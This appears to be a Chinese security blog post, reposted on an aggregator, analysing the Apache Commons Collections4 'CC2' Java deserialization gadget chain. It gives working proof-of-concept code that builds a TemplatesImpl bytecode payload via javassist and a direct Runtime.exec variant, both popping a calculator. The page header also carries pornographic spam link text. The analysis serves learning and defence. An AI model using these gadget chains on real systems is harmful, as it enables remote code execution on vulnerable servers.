日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 >

“白痴“上帝视角调节反序列化链之CC2

發布時間:2025/3/21 44 豆豆
生活随笔 收集整理的這篇文章主要介紹了 “白痴“上帝视角调节反序列化链之CC2 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.


說是白癡上帝視角的原因在于我們拿到了poc,模擬不知道任何細節,去分析這個漏洞的形成原因。也可以說半黑盒狀態,主要是鍛煉一下分析能力。CC1的分析已經在之前的文章發過了。主要是拿來入門的,現在我們分析一下CC2.這篇文章也是重構,很早之前分析了一次,但是當時水平比現在還低,所以很多地方還不夠清楚。現在重新分析一下。需要涉及到以下的知識點

javassist動態編程(主要是字節碼修改操作,把他可以看成一個加強版的反射)

本來開始直接跟著poc調的,poc不是特別的友好,很多地方不清楚,那我們還是借助poc逆向來分析吧。

poc import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue;public class cc2 {public static void main(String[] args) throws Exception {String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";ClassPool classPool=ClassPool.getDefault();classPool.appendClassPath(AbstractTranslet);CtClass payload=classPool.makeClass("e0mlja");payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] bytes=payload.toBytecode();Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");field.setAccessible(true);field.set(templatesImpl,new byte[][]{bytes});Field field1=templatesImpl.getClass().getDeclaredField("_name");field1.setAccessible(true);field1.set(templatesImpl,"test");InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});TransformingComparator comparator =new TransformingComparator(transformer);PriorityQueue queue = new PriorityQueue(2);queue.add(1);queue.add(1);Field field2=queue.getClass().getDeclaredField("comparator");field2.setAccessible(true);field2.set(queue,comparator);Field field3=queue.getClass().getDeclaredField("queue");field3.setAccessible(true);field3.set(queue,new Object[]{templatesImpl,templatesImpl});ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));outputStream.writeObject(queue);outputStream.close();ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));inputStream.readObject();} }

了解反序列化的都知道,最終是調用了重寫的ReadObject導致了反序列化。所以這里我們看看是PriorityQueue這個類導致了反序列化。我們看看他的ReadObject方法。

方法不大,仔細看看忍一下。heapify()特別矚目(其實是因為沒啥看的了)跟進去看看

siftDown

siftDownUsingComparator


這里我能火速的標記出來是因為之前已經調過了。跟到這里,comparetor調用了compare()方法,再進去就是進接口了。所以這里我們暫放一下,思考一下。是不是某個comparator接口的實現類或者實現類的子類賦值給了comparator(),其中他的compare()調用了其他的一些列方法導致了反序列化鏈?這里說說兩個方法
(1)尋找Comparator的實現類,并且有compare()方法的類去找找。
(2)直接看poc,看看別人找到了哪個類。
本著說道做到的原則,說了當咸魚就要躺到底,這一期當個白癡,直接看poc里給了哪個類。

看看這個類有哪些東西。臥槽?compare()方法里調用了transform,然后 this.transformer構造方法賦值我們可控。可真是小刀劃屁股,著實讓人開了眼。

來驗證一下,自己寫一個類hello,里面的e0mlja方法會彈出計算器。 import java.io.IOException; import java.io.Serializable;public class hello implements Serializable {public void e0mlja(){try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}} } //修改pochello h = new hello();InvokerTransformer transformer=new InvokerTransformer("e0mlja",null,null);TransformingComparator comparator =new TransformingComparator(transformer);//使用TrPriorityQueue queue = new PriorityQueue(2, (Comparator) comparator);queue.add(h);queue.add(h);//使用指定的初始容量創建一個 PriorityQueue,并根據其自然順序對元素進行排序。Field field3=queue.getClass().getDeclaredField("queue");//獲取queue的queue字段field3.setAccessible(true);//暴力反射field3.set(queue,new Object[]{hello.class,hello.class});ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));outputStream.writeObject(queue);outputStream.close();ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));inputStream.readObject(); //這里反射調用修改queue字段的原因是找了一下沒有方法可以直接賦值。看看效果


不錯,成功了。想一下我們現在有的東西,能夠通過反序列化PriorityQueue,實現任一類的方法某個調用了。但前提是我們這個類必須要可序列化。我們從CC1知道,Runtime是不能直接序列化的。所以這里要利用CC1的話必須要構造transformerChain傳入PriorityQueue中,但是很遺憾,類型轉換失敗,所以我們要尋找其他的出路了。其實我們的需求現在已經比較低了。我們自己寫了一個類上去,現實中肯定沒有開發敢這么寫,第二天可能就要跑路。所以我們現在找一個辦法,能夠動態生成一個類,也可以打到一樣的效果,這就用到了javassist動態編程了。這里不多介紹,以往文章應該發了,沒法的話后續補上。有人可能會疑惑了,為啥不能直接生成一個新的類,添加方法。這是動態編程可以完成的。但是我們要知道生成的類是沒有class的,需要調用修改都要用反射,所以是找不到我們想要執行的方法的。這里我們可以尋找一個其他的可以反序列化類,來生成這個對象。
這里選擇了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的newTransformer()來實現。我們來看看這個類

這幾個涉及方法的,我們都跟進去看看

最終發現了newTransformer()->getTransletInstance()->defineTransletClasses()->loader.defineClass(_bytecodes[i]) ->_class[_transletIndex].newInstance()。也就是說利用這條鏈子來加載并實例化了一個類。(注意,我們采用javassist生成的類的方法是靜態方法,類在實例化的時候就會調用。)流程差不多清楚了,現在來看看我們要實現這個鏈子還需要什么條件。
getTransletInstance() 不需要任何條件即可執行
defineTransletClasses() (1) _name不為空 _class為空(構造方法中賦值,不傳就行了)。
loader.defineClass(_bytecodes[i]) (1)_bytecodes不為空 (2)超類需要為com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。




來看看構造完成后,在getTransletInstance()調用了newInstance()完成了類的實例化,執行了我們的惡意代碼。

來看一下調用鏈 getTransletInstance:456, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) transform:129, InvokerTransformer (org.apache.commons.collections4.functors) compare:81, TransformingComparator (org.apache.commons.collections4.comparators) siftDownUsingComparator:721, PriorityQueue (java.util) siftDown:687, PriorityQueue (java.util) heapify:736, PriorityQueue (java.util) readObject:795, PriorityQueue (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1058, ObjectStreamClass (java.io) readSerialData:1909, ObjectInputStream (java.io) readOrdinaryObject:1808, ObjectInputStream (java.io) readObject0:1353, ObjectInputStream (java.io) readObject:373, ObjectInputStream (java.io) main:59, CC2

(1)最后總結一下。我們首先是在重構的PriorityQueue.readObject里面找到了heapify()方法。
(2)通過heapify()->siftDown()->siftDownUsingComparator()->Comparator.compare()實現了一條命令執行鏈,但是由于沒有辦法生成新的類,所以還需要找一個任意生成類的鏈子。
(3)newTransformer()->getTransletInstance()->defineTransletClasses()->loader.defineClass(_bytecodes[i]) ->_class[_transletIndex].newInstance(),通過這里,我們能將利用javassist動態生成的類的字節碼傳入到其中,實例化一個類調用我們定義的方法,造成任意命令執行。
這里突發奇想,如果說我直接將Runtime作為對象傳入,然后動態調整這個CC鏈,是不是就不需要動態編程這一步了,直接就可以命令執行?事實證明,是可行的。

import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import javassist.CtNewMethod; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*; import java.lang.reflect.Field; import java.util.Comparator; import java.util.PriorityQueue;public class test_e0m {public static void main(String[] args) throws Exception {Runtime runtime = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class}, new String[]{"calc.exe"});TransformingComparator comparator =new TransformingComparator(invokerTransformer);//使用TrPriorityQueue queue = new PriorityQueue(2, (Comparator) comparator);queue.add(runtime);queue.add(runtime);//使用指定的初始容量創建一個 PriorityQueue,并根據其自然順序對元素進行排序。Field field3=queue.getClass().getDeclaredField("queue");//獲取queue的queue字段field3.setAccessible(true);//暴力反射field3.set(queue,new Object[]{Runtime.class,Runtime.class});ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));outputStream.writeObject(queue);outputStream.close();ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));inputStream.readObject();} }

談了一下,這種方法的不便之處在于只能命令執行,需要實現什么得自己去找。javassist能夠動態生成一個函數。但是需要依賴第三方累。當我們想要依賴的類不存在就用不起。用這個能夠直接執行命令,但是對于一些不出網的情況,用起來就惱火,直接出網的能直接用。

學習攻略

總結

以上是生活随笔為你收集整理的“白痴“上帝视角调节反序列化链之CC2的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。